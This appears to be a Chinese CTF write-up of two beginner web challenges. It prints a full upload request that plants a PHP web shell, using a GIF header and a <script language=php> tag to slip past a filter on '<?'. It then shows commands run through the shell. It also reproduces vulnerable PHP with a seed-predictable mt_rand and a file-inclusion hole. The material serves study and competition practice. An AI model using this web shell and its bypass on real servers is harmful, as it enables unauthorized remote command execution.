两个基础Web的CTF题目

admin 2024年9月19日14:27:36评论32 views字数 2677阅读8分55秒阅读模式

两个Web的基础类型题目,因为是断网比赛,知识点相对凝练,并没有很考察脑洞,记录一下。

0x00 Web题目1

访问地址并分析返回包,在数据包发现一个特殊字符串,怀疑有特殊含义。

两个基础Web的CTF题目

Base32解码,获得一个文件名称。

两个基础Web的CTF题目

访问该文件名称地址,发现页面,一个文件上传功能

http://10.1.103.56/NiGhT_CiTy.php

简单测试了下,发现有拦截,拦截的是文件内容,并没有针对扩展名。尝试多种shell构造方式,短标签等,发现拦截<?。想到样式绕过,使用上传数据包如下:

POST /NiGhT_CiTy.php HTTP/1.1Host: 10.1.103.56User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------19602015773228774771117156873Content-Length: 401Origin: http://10.1.103.56Connection: closeReferer: http://10.1.103.56/NiGhT_CiTy.phpUpgrade-Insecure-Requests: 1Priority: u=0, i-----------------------------19602015773228774771117156873Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/gifGif89a<script language=php>system($_GET['a'])</script>-----------------------------19602015773228774771117156873Content-Disposition: form-data; name="submit"Upload-----------------------------19602015773228774771117156873--

发现,shell成功上传,之后执行命令,寻找flag文件,获取文件内容即为flag。

http://10.1.103.56/upload/1.php?a=ls%20/

两个基础Web的CTF题目

http://10.1.103.56/upload/1.php?a=cat%20/dflag

两个基础Web的CTF题目

0x01 Web题目2

一个代码审计题目,从代码逻辑来看,还算是简单。

 <?phpfunction generateRandomNumber() {    $time = gmmktime();    $b = substr($time, 04);//获取时间的前四位作为随机数种子     mt_srand($b);  $i = mt_rand();  echo "Randrom:" . ($i) . "<br />"//返回的字符串是这个    $sui = 0;    while ($i < 30) {        mt_rand();        $i++;    }    $sui = mt_rand();    return $sui;}function checkAccessAndFlag() {    $randomNumber = generateRandomNumber(); //需要提交的字符串即data    if (isset($_GET['id']) && isset($_POST['data'])) {    if ($_POST['data'] == $randomNumber)    {      echo 'aaaaaaaa';    }    //id字段两次urlencode可绕过         if ($_POST['data'] == $randomNumber && !preg_match("/SmallJokeIsAlsoBigBomb/i", $_GET['id'])) {            $_GET['id'] = urldecode($_GET['id']);            if ($_GET['id'] == "SmallJokeIsAlsoBigBomb" && urlencode($_GET['id']) === $_GET['id']) {                echo "eval.txt". "<br/>";                include $_GET['file']; //恶意文件包含漏洞            } else {                echo "Access granted, but 'id' is invalid!";            }        } else {            echo "Access denied!";        }    } else {        echo "Access denied: Missing parameters.";    }}error_reporting(0);checkAccessAndFlag();?>

需要拿到多次随机运算后的数字作为data,id将字符串做两次urlencode,eval.txt是一句话木马,还有一个文件包含漏洞拿到权限。

现场多次尝试,运算出来的随机数key不对,考虑随机数生成的机制,是否与机器硬件有关,尝试爆破,也没成功。回来两台笔记本测试,发现生成的key也不一样。

mt_rand()的生成的随机数只跟seed和调用该函数的次数有关。这个特性想到了,但没了解php的版本也应当一致,结果没做出来。

正好两台电脑也是数字不同,查看php版本一个5版本,一个7版本,调整为同一个,发现生成数字相同,构造数据包即可获得flag。

种子相同、PHP版本(确切的说是PHP内核中 mt_rand的代码逻辑)相同,生成的随机数都是一样的。理论上来说只要拿到了生成的随机数,我们就可以在本地进行种子的爆破。

两个基础Web的CTF题目

0x02 总结

两个tips:

题目1知识点是脚本式执行php代码的方法:<script language=php></script>。

题目2知识点是m_srand函数的特定,需要php版本一致。

原文始发于微信公众号(here404):两个基础Web的CTF题目

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日14:27:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   两个基础Web的CTF题目https://cn-sec.com/archives/3179823.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息